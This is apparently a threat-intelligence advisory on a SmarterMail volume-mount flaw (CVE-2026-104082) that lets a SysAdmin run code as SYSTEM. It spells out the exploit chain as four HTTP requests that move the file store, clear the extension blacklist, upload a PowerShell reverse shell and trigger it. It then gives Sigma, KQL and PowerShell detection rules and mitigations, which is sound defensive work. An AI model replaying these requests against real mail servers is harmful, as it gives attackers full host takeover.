Deploy Build 9777 Immediately
Upgrade all instances to SmarterMail Build 9777 or later. This release disables arbitrary path reassignment for domain file stores.
SmarterTools SmarterMail โ Volume Mount & Domain FileStore Administration Pipeline CVSS v3.1 rates this vulnerability at 8.6 (High) due to the requirement for SysAdmin privileges (PR:H). The Hermes Threat Score (HTS) elevates this evaluation to 92 (CRITICAL). In enterprise perimeter topologies, SmarterMail installations are directly accessible over the public internet to handle inbound SMTP, webmail, and ActiveSync. Threat actors routinely chain post-authentication capabilities with session hijacking, default configurations, or privilege escalation vectors (such as CVE-2026-104084 stale JWT role claim vulnerabilities). Once an administrative context is achieved, the failure to contain the Volume Mount mechanism to its intended sandboxed folder allows attackers to drop arbitrary executables into trusted automation paths and execute code with NT AUTHORITY\\SYSTEM privileges, completely compromising the Windows host.
Software platform affected by security vulnerabilities and agentic attack patterns.
“Confirmed security vulnerability in SmarterTools SmarterMail Mail Server documented in Hermes dossier.”
SmarterMail is widely deployed by enterprises and hosting providers as a Windows-based alternative to Microsoft Exchange. It exposes webmail interfaces alongside a comprehensive REST API for domain and server administration.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-104082 | International vulnerability catalog identifier |
| Affected Product | SmarterTools SmarterMail | Enterprise mail, team messaging, and collaboration server |
| Vulnerable Component | Volume Mount & FileStore management handlers | Administrative REST API controllers |
| Vulnerability Class | CWE-73 / CWE-284 / CWE-94 | Path Traversal / Access Control Bypass / Arbitrary Code Execution |
| Attack Vector | Network (/api/v1/settings/* REST API) | Authenticated administrative exploit chain |
| Remediation Release | SmarterMail Build 9777 | Canonical path validation and script containment enforcement |
[ Authenticated Attacker (SysAdmin) ] | 1. POST /api/v1/settings/domain-put - Set Domain FileStore: "C:\SmarterMail\Scripts\evil\" | v +-------------------------------------------+ | SmarterMail REST API Controller | | Lacks path canonicalization check; | | Binds user storage into trusted scripts | +-------------------------------------------+ | 2. POST /api/v1/settings/global-mail - Clear Extension Blacklist: [] | 3. POST /api/v1/file-storage/upload - Uploads malicious script payload: payload.ps1 | v +-------------------------------------------+ | Payload Written to Disk Path: | | C:\SmarterMail\Scripts\payload.ps1 | +-------------------------------------------+ | 4. POST /api/v1/settings/CommandMount - Target: payload.ps1 | v +-------------------------------------------+ | Service Execution via Process.Start | | Context: NT AUTHORITY\SYSTEM | | Interactive Shell / C2 Beacon | +-------------------------------------------+The vulnerability stems from the interaction between user file storage mechanisms and the administrative volume mounting service. SmarterMail allows administrators to execute scripts on mount events (such as disk mounting or backup initiation) via the CommandMount mechanism:
domain-put)When provisioning or modifying a domain via /api/v1/settings/domain-put, an administrator configures the FileStore directory where user attachments and shared documents are stored. In vulnerable versions, SmarterMail failed to verify whether the specified path overlapped with the trusted script directory:
POST /api/v1/settings/domain-put HTTP/1.1Host: mail.target-enterprise.comAuthorization: Bearer <sysadmin_jwt>Content-Type: application/json
{ "domain": "target.corp", "fileStorePath": "C:\\SmarterMail\\Scripts\\staged"}global-mail)SmarterMail enforces a default file upload restriction list blocking .bat, .cmd, .ps1, and .exe. However, the /api/v1/settings/global-mail endpoint permitted administrators to update or completely erase this blacklist without validating security implications:
POST /api/v1/settings/global-mail HTTP/1.1Host: mail.target-enterprise.comAuthorization: Bearer <sysadmin_jwt>Content-Type: application/json
{ "blockedExtensions": []}With the file extension filter disabled, the attacker uploads a PowerShell reverse shell script (reverse.ps1) using the standard /api/v1/file-storage/upload endpoint under the modified domain. The file is placed directly inside C:\SmarterMail\Scripts\staged\reverse.ps1.
CommandMountFinally, the attacker triggers an administrative mount command:
POST /api/v1/settings/CommandMount HTTP/1.1Host: mail.target-enterprise.comAuthorization: Bearer <sysadmin_jwt>Content-Type: application/json
{ "mountId": "Volume1", "scriptPath": "C:\\SmarterMail\\Scripts\\staged\\reverse.ps1"}Because CommandMount validates that the script path starts with C:\SmarterMail\Scripts\, the check succeeds. The SmarterMail background daemon executes the script using System.Diagnostics.Process.Start, which inherits the parent service token (NT AUTHORITY\SYSTEM).
While the exploit requires SysAdmin access, threat intelligence models identify two high-probability delivery vectors:
SYSTEM shell on the mail server allows extracting cached domain service credentials via LSASS dumping or token impersonation.title: SmarterMail Malicious Script Drop in Scripts Directoryid: 5b4c3e21-9981-4082-a7e1-smarter00001status: stabledescription: Detects creation of executable scripts inside SmarterMail Scripts directory by the mail service process.author: Hermes Codex Cyber Intelligencereferences: - https://vulncheck.com/advisories/smartermail-build-9777-sysadmin-remote-code-execution-via-volume-mount - https://nvd.nist.gov/vuln/detail/CVE-2026-104082date: 2026-10-10logsource: category: file_event product: windowsdetection: selection_process: Image|endswith: '\SmarterMail.Service.exe' selection_path: TargetFilename|contains: '\SmarterMail\Scripts\' TargetFilename|endswith: - '.ps1' - '.bat' - '.cmd' - '.exe' - '.vbs' condition: selection_process and selection_pathfields: - TargetFilename - ProcessId - Userfalsepositives: - Legitimate administrative script deployment during scheduled maintenancelevel: high// Detect anomalous child processes spawned by SmarterMail ServiceDeviceProcessEvents| where InitiatingProcessFileName =~ "SmarterMail.Service.exe"| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe", "cscript.exe", "wscript.exe")| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName| order by TimeGenerated desc# Audit SmarterMail Scripts folder for unauthorized executable files$ScriptsDir = "C:\SmarterMail\Scripts"if (Test-Path $ScriptsDir) { Get-ChildItem -Path $ScriptsDir -Recurse -Include *.ps1, *.bat, *.cmd, *.exe, *.vbs | Select-Object FullName, Length, CreationTime, LastWriteTime | Format-Table -AutoSize} else { Write-Host "SmarterMail Scripts directory not found at standard path."}Deploy Build 9777 Immediately
Upgrade all instances to SmarterMail Build 9777 or later. This release disables arbitrary path reassignment for domain file stores.
Restrict Administrative Binding
Configure SmarterMail management bindings to listen exclusively on localhost or a dedicated management VLAN.
Service Account De-Elevation
Migrate the SmarterMail Windows service from NT AUTHORITY\SYSTEM to a dedicated virtual service account with minimal filesystem permissions.
Audit Administrator Accounts
Review all accounts with SysAdmin privileges and rotate passwords for the primary administrative user (admin).